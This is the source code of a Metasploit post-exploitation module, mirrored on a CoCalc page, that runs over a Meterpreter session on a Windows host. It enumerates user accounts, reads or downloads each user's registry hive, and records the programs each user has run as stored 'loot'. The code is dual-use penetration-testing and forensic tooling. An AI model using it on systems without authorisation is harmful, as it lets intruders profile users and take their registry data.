CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/enum_muicache.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/registry'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Post::Windows::Priv
11
include Msf::Post::Windows::Registry
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Windows Gather Enum User MUICache',
18
'Description' => %q{
19
This module gathers information about the files and file paths that logged on users have
20
executed on the system. It also will check if the file still exists on the system. This
21
information is gathered by using information stored under the MUICache registry key. If
22
the user is logged in when the module is executed it will collect the MUICache entries
23
by accessing the registry directly. If the user is not logged in the module will download
24
users registry hive NTUSER.DAT/UsrClass.dat from the system and the MUICache contents are
25
parsed from the downloaded hive.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => ['TJ Glad <tjglad[at]cmail.nu>'],
29
'Platform' => ['win'],
30
'SessionType' => ['meterpreter'],
31
'Compat' => {
32
'Meterpreter' => {
33
'Commands' => %w[
34
core_channel_close
35
core_channel_eof
36
core_channel_open
37
core_channel_read
38
stdapi_fs_stat
39
]
40
}
41
}
42
)
43
)
44
end
45
46
# Scrapes usernames, sids and homepaths from the registry so that we'll know
47
# what user accounts are on the system and where we can find those users
48
# registry hives.
49
def find_user_names
50
user_names = []
51
user_homedir_paths = []
52
user_sids = []
53
54
username_reg_path = "HKLM\\Software\\Microsoft\\Windows\ NT\\CurrentVersion\\ProfileList"
55
profile_subkeys = registry_enumkeys(username_reg_path)
56
if profile_subkeys.blank?
57
print_error('Unable to access ProfileList registry key. Unable to continue.')
58
return nil
59
end
60
61
profile_subkeys.each do |user_sid|
62
unless user_sid.length > 10
63
next
64
end
65
66
user_home_path = registry_getvaldata("#{username_reg_path}\\#{user_sid}", 'ProfileImagePath')
67
if user_home_path.blank?
68
print_error('Unable to read ProfileImagePath from the registry. Unable to continue.')
69
return nil
70
end
71
full_path = user_home_path.strip
72
user_names << full_path.split('\\').last
73
user_homedir_paths << full_path
74
user_sids << user_sid
75
end
76
77
return user_names, user_homedir_paths, user_sids
78
end
79
80
# This function builds full registry muicache paths so that we can
81
# later enumerate the muicahe registry key contents.
82
def enum_muicache_paths(sys_sids, mui_path)
83
user_mui_paths = []
84
hive = 'HKU\\'
85
86
sys_sids.each do |sid|
87
full_path = hive + sid + mui_path
88
user_mui_paths << full_path
89
end
90
91
user_mui_paths
92
end
93
94
# This is the main enumeration function that calls other main
95
# functions depending if we can access the registry directly or if
96
# we need to download the hive and process it locally.
97
def enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file)
98
results = []
99
100
all_user_entries = sys_users.zip(muicache_reg_keys, sys_paths)
101
102
all_user_entries.each do |user, reg_key, sys_path|
103
subkeys = registry_enumvals(reg_key)
104
if subkeys.blank?
105
# If the registry_enumvals returns us nothing then we'll know
106
# that the user is most likely not logged in and we'll need to
107
# download and process users hive locally.
108
print_warning("User #{user}: Can't access registry. Maybe the user is not logged in? Trying NTUSER.DAT/USRCLASS.DAT...")
109
result = process_hive(sys_path, user, muicache, hive_file)
110
unless result.nil?
111
result.each do |r|
112
results << r unless r.nil?
113
end
114
end
115
else
116
# If the registry_enumvals returns us content we'll know that we
117
# can access the registry directly and thus continue to process
118
# the content collected from there.
119
print_status("User #{user}: Enumerating registry...")
120
subkeys.each do |key|
121
if key[0] != '@' && key != 'LangID' && !key.nil?
122
result = check_file_exists(key, user)
123
results << result unless result.nil?
124
end
125
end
126
end
127
end
128
129
results
130
end
131
132
# This function will check if it can find the program executable
133
# from the path it found from the registry. Permissions might affect
134
# if it detects the executable but it should be otherwise fairly
135
# reliable.
136
def check_file_exists(key, user)
137
program_path = expand_path(key)
138
if file_exist?(key)
139
return [user, program_path, 'File found']
140
else
141
return [user, program_path, 'File not found']
142
end
143
end
144
145
# This function will check if the filepath contains a registry hive
146
# and if it does it'll proceed to call the function responsible of
147
# downloading the hive. After successfull download it'll continue to
148
# call the hive_parser function which will extract the contents of
149
# the MUICache registry key.
150
def process_hive(sys_path, user, muicache, hive_file)
151
user_home_path = expand_path(sys_path)
152
hive_path = user_home_path + hive_file
153
ntuser_status = file_exist?(hive_path)
154
155
unless ntuser_status == true
156
print_warning("Couldn't locate/download #{user}'s registry hive. Unable to proceed.")
157
return nil
158
end
159
160
print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file...")
161
local_hive_copy = Rex::Quickfile.new('jtrtmp')
162
local_hive_copy.close
163
begin
164
session.fs.file.download_file(local_hive_copy.path, hive_path)
165
rescue ::Rex::Post::Meterpreter::RequestError
166
print_error('Unable to download NTUSER.DAT/USRCLASS.DAT file')
167
begin
168
local_hive_copy.unlink
169
rescue StandardError
170
nil
171
end
172
return nil
173
end
174
results = hive_parser(local_hive_copy.path, muicache, user)
175
begin
176
local_hive_copy.unlink
177
rescue StandardError
178
nil
179
end
180
181
results
182
end
183
184
# This function is responsible for parsing the downloaded hive and
185
# extracting the contents of the MUICache registry key.
186
def hive_parser(local_hive_copy, muicache, user)
187
results = []
188
print_status('Parsing registry content...')
189
err_msg = 'Error parsing hive. Unable to continue.'
190
hive = Rex::Registry::Hive.new(local_hive_copy)
191
if hive.nil?
192
print_error(err_msg)
193
return nil
194
end
195
196
muicache_key = hive.relative_query(muicache)
197
if muicache_key.nil?
198
print_error(err_msg)
199
return nil
200
end
201
202
muicache_key_value_list = muicache_key.value_list
203
if muicache_key_value_list.nil?
204
print_error(err_msg)
205
return nil
206
end
207
208
muicache_key_values = muicache_key_value_list.values
209
if muicache_key_values.nil?
210
print_error(err_msg)
211
return nil
212
end
213
214
muicache_key_values.each do |value|
215
key = value.name
216
if key[0] != '@' && key != 'LangID' && !key.nil?
217
result = check_file_exists(key, user)
218
results << result unless result.nil?
219
end
220
end
221
222
results
223
end
224
225
# Information about the MUICache registry key was collected from:
226
#
227
# - Windows Forensic Analysis Toolkit / 2012 / Harlan Carvey
228
# - Windows Registry Forensics / 2011 / Harlan Carvey
229
# - http://forensicartifacts.com/2010/08/registry-muicache/
230
# - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots
231
def run
232
print_status('Starting to enumerate MUICache registry keys...')
233
version = get_version_info
234
235
if version.xp_or_2003? && is_admin?
236
print_good("Remote system supported: #{version.product_name}")
237
muicache = '\\Software\\Microsoft\\Windows\\ShellNoRoam\\MUICache'
238
hive_file = '\\NTUSER.DAT'
239
elsif version.build_number >= Msf::WindowsVersion::Vista_SP0 && is_admin?
240
print_good("Remote system supported: #{version.product_name}")
241
muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MUICache"
242
hive_file = '\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat'
243
else
244
print_error('Unsupported OS or not enough privileges. Unable to continue.')
245
return nil
246
end
247
248
table = Rex::Text::Table.new(
249
'Header' => 'MUICache Information',
250
'Indent' => 1,
251
'Columns' =>
252
[
253
'Username',
254
'File path',
255
'File status',
256
]
257
)
258
259
print_status('Phase 1: Searching user names...')
260
sys_users, sys_paths, sys_sids = find_user_names
261
262
if sys_users.blank?
263
print_error('Was not able to find any user accounts. Unable to continue.')
264
return nil
265
else
266
print_good("Users found: #{sys_users.join(', ')}")
267
end
268
269
print_status('Phase 2: Searching registry hives...')
270
muicache_reg_keys = enum_muicache_paths(sys_sids, muicache)
271
results = enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file)
272
273
results.each { |r| table << r }
274
275
print_status('Phase 3: Processing results...')
276
loot = store_loot('muicache_info', 'text/plain', session, table.to_s, nil, 'MUICache Information')
277
print_line("\n" + table.to_s + "\n")
278
print_good("Results stored as: #{loot}")
279
print_status('Execution finished.')
280
end
281
end
282
283